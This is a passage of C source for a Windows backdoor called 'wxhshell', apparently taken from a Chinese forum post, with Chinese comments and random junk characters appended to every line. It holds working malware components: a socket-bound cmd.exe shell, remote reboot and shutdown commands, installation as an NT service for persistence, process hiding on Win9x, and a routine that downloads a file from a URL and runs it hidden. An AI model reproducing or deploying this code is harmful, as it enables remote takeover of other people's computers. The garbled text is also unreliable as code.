    switch(cmd[0]) { G <uyin>  
  pFm=y#!t  
  // 帮助 $ KRI'4  
  case '?': { y8 KX<2s1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r.T<j .\  
    break; +]|Z%;im  
  } :Pg}Zz<  
  // 安装 V~hlq$jn<Y  
  case 'i': { PZm:T+5H  
    if(Install()) PNA\ TXT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \T\b NbPn  
    else Ezi-VGjr]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ynB_"mg  
    break; z)xSN;x  
    } =e}H'5?!  
  // 卸载 !j\" w p  
  case 'r': { 4WN3=B  
    if(Uninstall()) 1=nUW":  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tBm_YP[  
    else (s1k$@d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mze;k3  
    break; M#4QQ} F.  
    } h8Xg`C\  
  // 显示 wxhshell 所在路径 PT^c^{V  
  case 'p': { < n:}kQTT  
    char svExeFile[MAX_PATH]; iajX~kv  
    strcpy(svExeFile,"\n\r"); 7-~Q5Kr.  
      strcat(svExeFile,ExeFile); {w8 NN-n  
        send(wsh,svExeFile,strlen(svExeFile),0); V=X:=  
    break; nZ_v/?O  
    } X<MO7I  
  // 重启 S8l1"/?aHE  
  case 'b': { ZKz,|+X0G  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); * FeQ*`r  
    if(Boot(REBOOT)) t'~/$=9}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P1U*g!  
    else { `s]4AKBO  
    closesocket(wsh); c.|l-zAeX  
    ExitThread(0); g'l?~s`SB  
    } jS!`2li?{  
    break; 97,rE$bC  
    } KZbR3mi,  
  // 关机 }%-t+Tf,  
  case 'd': { X]y )ZF26  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {&[9iIf  
    if(Boot(SHUTDOWN)) E_1="&p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); axk"^gps  
    else { 1 Vy,&[c~"  
    closesocket(wsh); M('d-Q{B7L  
    ExitThread(0); \@~UDP]7  
    } P0i V<T4^  
    break; A;J MV+2N  
    } k{AyD`'Q  
  // 获取shell -.<k~71  
  case 's': { >qo~d?+  
    CmdShell(wsh); s-W[ .r|  
    closesocket(wsh); e.o;eD}"  
    ExitThread(0); m9md|yS  
    break; _0pO8o-x  
  } dp5f7>]:(  
  // 退出 + q''y  
  case 'x': { 8z<r.joxC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >J=<bhR  
    CloseIt(wsh); jko"MfJ  
    break; X8<2L 2:  
    } . -"E^f  
  // 离开 E4D (,s  
  case 'q': { eX2<}'W<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); R< zG^m  
    closesocket(wsh); N8!TZ~1$  
    WSACleanup(); S^f:`9ab9  
    exit(1); df=z F.5  
    break; ecX/K.8l  
        } !]S=z^"<  
  } -qebQv  
  } 2N~ E' 25  
z}.D" P+  
  // 提示信息 cX At :m  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1Qh`6Ya f  
} Z0fJ9 HW  
  } L|^o7 1t|  
DI&MC9j(   
  return; YCw('i(|  
} sg'NBAo"  
6U,fz#<,}  
// shell模块句柄 d `j?7Z  
int CmdShell(SOCKET sock) {5Eyr$  
{ !U BVPR*  
STARTUPINFO si; Z,WW]Y,$  
ZeroMemory(&si,sizeof(si)); =V|Nn0E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?Ay3u^X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hkW{88  
PROCESS_INFORMATION ProcessInfo; I}v]Zm9  
char cmdline[]="cmd"; m1.B\~S3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (G4'(6  
  return 0; XLTD;[jO  
} B50 [O!  
o@d y:AR  
// 自身启动模式 E '%lxr  
int StartFromService(void) eO{@@?/y  
{ W3LP ~  
typedef struct Z~3u:[x";  
{ vSM_]fn  
  DWORD ExitStatus; *\LyNL(  
  DWORD PebBaseAddress; JCQ:+eqt  
  DWORD AffinityMask; C(,=[Fi-  
  DWORD BasePriority; Q#WE|,a  
  ULONG UniqueProcessId; 7Qh_8M  
  ULONG InheritedFromUniqueProcessId; fr#Qz{  
}   PROCESS_BASIC_INFORMATION; 0yHjrxc$  
4uX(_5#j  
PROCNTQSIP NtQueryInformationProcess; Z5>V{o  
p`GWhI?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; :l~EE!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5.k}{{+  
,QS'$n  
  HANDLE             hProcess; ,#aS/+;[)  
  PROCESS_BASIC_INFORMATION pbi; =hcPTU-QU  
UE)fUTS  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g+9v$[!  
  if(NULL == hInst ) return 0; _>v0R'  
8ath45G@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); %FlA ":W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E0`[G]*G  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); cqk]NL`'  
_:5=|2-E  
  if (!NtQueryInformationProcess) return 0; QSmJ`Bm  
@,YlmX}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cno;>[$  
  if(!hProcess) return 0; t{=i=K 3  
.\)k+ R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qsvpW%?aE  
OT+Ee  
  CloseHandle(hProcess); i7f%^7!  
Q)+Y}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \[k% )_  
if(hProcess==NULL) return 0; l% |cB93  
C.HYS S  
HMODULE hMod; k<,u0  
char procName[255]; &GU@8  
unsigned long cbNeeded; /u ?9S/  
_-6e0srZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hpjUkGm5  
b=_{/F*b?  
  CloseHandle(hProcess); hA5,w_G/  
Q,n4i@E  
if(strstr(procName,"services")) return 1; // 以服务启动 d|3o/@k  
@%H8"A  
  return 0; // 注册表启动 w~{| S7/  
} O8$~*NFJf  
X/wmKi  
// 主模块 N Z)b:~a  
int StartWxhshell(LPSTR lpCmdLine) lY->ucS %P  
{ HNFhH0+^  
  SOCKET wsl; u&tFb]1@)  
BOOL val=TRUE; wH#-mu#Yl<  
  int port=0;  yIa[yJq  
  struct sockaddr_in door; 5=m3J !?  
]DU61Z"v?b  
  if(wscfg.ws_autoins) Install(); ]xI?,('_m  
RZe#|k+ 8  
port=atoi(lpCmdLine); vi<X3G6Xh  
6I5o2i  
if(port<=0) port=wscfg.ws_port; Ny B&uf  
y]J3h Ks  
  WSADATA data; hMz&JJ&B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ) (+)Q'*  
D-~G|8g  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   -$OD}5ku#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6QW<RXom  
  door.sin_family = AF_INET; ,b:n1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {:3.27jQ  
  door.sin_port = htons(port); l3BD <PB2S  
2DUr7r M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [h^f%  
closesocket(wsl); C#ZhsWS!b  
return 1; Y=3X9%v9g  
} ckAsGF_B~!  
QP+c?ct}hF  
  if(listen(wsl,2) == INVALID_SOCKET) { 'xsbm^n6a&  
closesocket(wsl); :cEd[Jm9  
return 1; QTeFR&q8  
} 8i[".9}G\  
  Wxhshell(wsl); 6GY32\Ac  
  WSACleanup(); z;U LQ  
kAY@^vi  
return 0; Z6NJ)XQy6F  
K q/~T7Ru  
} Uld_X\;Q4  
9e-*JYF]C  
// 以NT服务方式启动 u >81dO]H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xJ N|w\&  
{ 'N*!>mZ<  
DWORD   status = 0; jk K#e$7  
  DWORD   specificError = 0xfffffff; cJSVT8  
g;(_Y1YQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; FT<H ]Nf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (LRNU)vD7$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; BSOjyy1f  
  serviceStatus.dwWin32ExitCode     = 0; ]c5DOv&  
  serviceStatus.dwServiceSpecificExitCode = 0; B'<!k7Ewy  
  serviceStatus.dwCheckPoint       = 0; \y[Bu^tk  
  serviceStatus.dwWaitHint       = 0; W^003*m~~K  
Q^[e/U,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); FPvuzBJ  
  if (hServiceStatusHandle==0) return; vlAO z  
4}+xeGA$  
status = GetLastError(); zjea4>!A2  
  if (status!=NO_ERROR) Akv(} !g  
{ lj4%(rB=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {ms,q_Zr  
    serviceStatus.dwCheckPoint       = 0; ]bs+:  
    serviceStatus.dwWaitHint       = 0; ht2 f-EKf{  
    serviceStatus.dwWin32ExitCode     = status; D&4u63^  
    serviceStatus.dwServiceSpecificExitCode = specificError; D~5yj&&T;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); s Ke,  
    return; ? 7/W>  
  }  \C!%IR  
G(:s-x ig6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -l\~p4U  
  serviceStatus.dwCheckPoint       = 0; g[m3IJzq  
  serviceStatus.dwWaitHint       = 0; dFd lB `L  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $*YC7f  
} u)tHOV>&  
T"n>h  
// 处理NT服务事件,比如:启动、停止 mYiSR   
VOID WINAPI NTServiceHandler(DWORD fdwControl) UaH26fWs  
{ |sA4:Aq  
switch(fdwControl) UCe,2v%  
{ c"sj)-_  
case SERVICE_CONTROL_STOP: P#w}3^  
  serviceStatus.dwWin32ExitCode = 0; r hiS  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; m$7x#8gF  
  serviceStatus.dwCheckPoint   = 0; +fC#2%VnU  
  serviceStatus.dwWaitHint     = 0; /_ $~rW  
  { 8.*\+nH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "|(rVj=  
  } aUKh}) B  
  return; UedvA9$&;  
case SERVICE_CONTROL_PAUSE: /!^L69um  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o9_(DJ<{  
  break; _Wm(/ +G_|  
case SERVICE_CONTROL_CONTINUE: ls[Ls  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; yB0jL:|a  
  break; N|UBaPS|o  
case SERVICE_CONTROL_INTERROGATE: 0q:(-z\S4  
  break; t9?R/:B%  
}; [SCw<<l<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hO^&0?  
} hZp=BM"bJ  
8]sTX9  
// 标准应用程序主函数 ` %FIgE^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }V\P,ck  
{ di8W2cwz  
 ]# Y|   
// 获取操作系统版本 0 $n8b/%.  
OsIsNt=GetOsVer(); ^^n +  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =#OHxM  
jz{(q;  
  // 从命令行安装 xP8iz?6"V  
  if(strpbrk(lpCmdLine,"iI")) Install(); (:_%kmu  
M3DxapG  
  // 下载执行文件 ?l6>6a7  
if(wscfg.ws_downexe) { C>.]Bvg  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Py|H? ,6=  
  WinExec(wscfg.ws_filenam,SW_HIDE); i0,%}{`  
} Ul '~opf  
c+@d'yR  
if(!OsIsNt) { o,*folL  
// 如果时win9x,隐藏进程并且设置为注册表启动 4y|xUO:  
HideProc(); cEDDO&u  
StartWxhshell(lpCmdLine); P]!LN\[  
} ~bQFk?ZN+  
else E9yFREvQc  
  if(StartFromService()) "2)+)Db  
  // 以服务方式启动 :'5G_4y)h  
  StartServiceCtrlDispatcher(DispatchTable); $w|o@ Ml)  
else /Oq1q._9F  
  // 普通方式启动 hg[l{)Q  
  StartWxhshell(lpCmdLine); 1$:{{%  
=?meO0]y  
return 0; DePV,.  
}
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只看该作者 1 发表于: 2006-10-10
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